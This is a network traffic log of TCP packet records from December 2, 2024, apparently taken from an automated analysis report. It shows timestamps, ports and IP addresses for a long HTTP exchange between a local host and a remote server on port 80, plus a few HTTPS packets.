Dec 2, 2024 07:37:53.469584942 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.470863104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.470936060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.470987082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.471044064 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.472328901 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.472388983 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.472501993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.472544909 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.473683119 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.473731041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.473789930 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.473834991 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.475069046 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.475116014 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.475156069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.475203991 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.476484060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.476524115 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.476531982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.476571083 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.477902889 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.477952957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.478025913 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.478065014 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.479294062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.479348898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.479425907 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.479474068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.480711937 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.480765104 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.480794907 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.480838060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.482100964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.482146025 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.482182980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.482225895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.483510017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.483563900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.483635902 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.483683109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.484899998 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.484950066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.484985113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.485029936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.486320019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.486368895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.486433029 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.486495018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.487720966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.487776041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.487848997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.487894058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.489150047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.489197016 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.489249945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.489312887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.490570068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.490619898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.490654945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.490701914 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.491916895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.491966009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.492042065 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.492093086 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.493328094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.493382931 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.493455887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.493520975 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.494754076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.494848967 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.494854927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.494905949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.496141911 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.496196985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.496238947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.496284962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.497543097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.497601986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.497689962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.497745991 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.498935938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.498990059 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.499037981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.499089956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.500366926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.500427961 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.500468016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.500519037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.501749039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.501806974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.501902103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.501945972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.503165007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.503223896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.503257990 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.503292084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.504565954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.504617929 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.504645109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.504683018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.505953074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.506006002 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.506059885 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.506097078 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.580162048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.580209017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.580302000 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.580332994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.580775976 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.580836058 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.580837011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.580888987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.582134008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.582195044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.582230091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.582278967 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.583503962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.583560944 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.583599091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.583642960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.584958076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.585002899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.585041046 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.585087061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.586338997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.586396933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.586433887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.586481094 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.587749004 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.587794065 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.587809086 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.587837934 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.589307070 CET	443	49828	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:53.589337111 CET	443	49828	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:53.589392900 CET	49828	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:53.589416027 CET	443	49828	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:53.589457989 CET	49828	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:53.589728117 CET	49828	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:53.589734077 CET	443	49828	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:53.589751959 CET	49828	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:53.589900017 CET	443	49828	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:53.589926004 CET	443	49828	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:53.589961052 CET	49828	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:53.592937946 CET	49834	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:53.592971087 CET	443	49834	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:53.593065023 CET	49834	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:53.593251944 CET	49834	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:53.593265057 CET	443	49834	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:53.647172928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.647237062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.647260904 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.647294998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.647541046 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.647593021 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.647638083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.647677898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.648520947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.648570061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.648612022 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.648653984 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.649339914 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.649386883 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.649419069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.649461031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.650258064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.650310040 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.650461912 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.650510073 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.651249886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.651266098 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.651293993 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.651319981 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.652041912 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.652091026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.652162075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.652209044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.652949095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.652995110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.653039932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.653083086 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.653861046 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.653908968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.653980017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.654021025 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.654748917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.654798985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.654841900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.654896975 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.655649900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.655698061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.655740023 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.655786991 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.656570911 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.656605005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.656621933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.656642914 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.657450914 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.657497883 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.657613039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.657672882 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.658379078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.658432007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.658479929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.658515930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.659279108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.659295082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.659364939 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.660168886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.660224915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.660269022 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.660309076 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.661072016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.661122084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.661166906 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.661206961 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.661976099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.662024975 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.662075996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.662121058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.662873983 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.662920952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.662972927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.663008928 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.663784981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.663824081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.663830042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.663857937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.664684057 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.664743900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.664792061 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.664834976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.665585041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.665633917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.665674925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.665716887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.666466951 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.666520119 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.666572094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.666616917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.667387009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.667440891 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.667479038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.667515993 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.668308973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.668356895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.668384075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.668421984 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.669197083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.669245958 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.669295073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.669332981 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.670113087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.670161009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.670185089 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.670212984 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.670999050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.671046019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.671092033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.671138048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.671896935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.671946049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.671993971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.672030926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.672787905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.672835112 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.672875881 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.672916889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.673707962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.673753023 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.673820972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.673866034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.674638033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.674679041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.674695969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.674736023 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.675507069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.675549030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.675630093 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.675664902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.676408052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.676455021 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.676521063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.676557064 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.677301884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.677354097 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.677419901 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.677517891 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.678214073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.678260088 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.678313971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.678349972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.679107904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.679153919 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.679207087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.679249048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.680146933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.680193901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.680327892 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.680367947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.680893898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.680938005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.680999041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.681042910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.681829929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.681873083 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.681958914 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.681999922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.682715893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.682765961 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.682822943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.682864904 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.683650970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.683685064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.683696985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.683721066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.684534073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.684580088 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.684616089 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.684650898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.685414076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.685460091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.685498953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.685540915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.686315060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.686364889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.686410904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.686450005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.687220097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.687269926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.687340975 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.687381029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.688103914 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.688147068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.781199932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.781318903 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.781359911 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.781418085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.781663895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.781757116 CET	49823	80	192.168.2.6	185.215.113.206
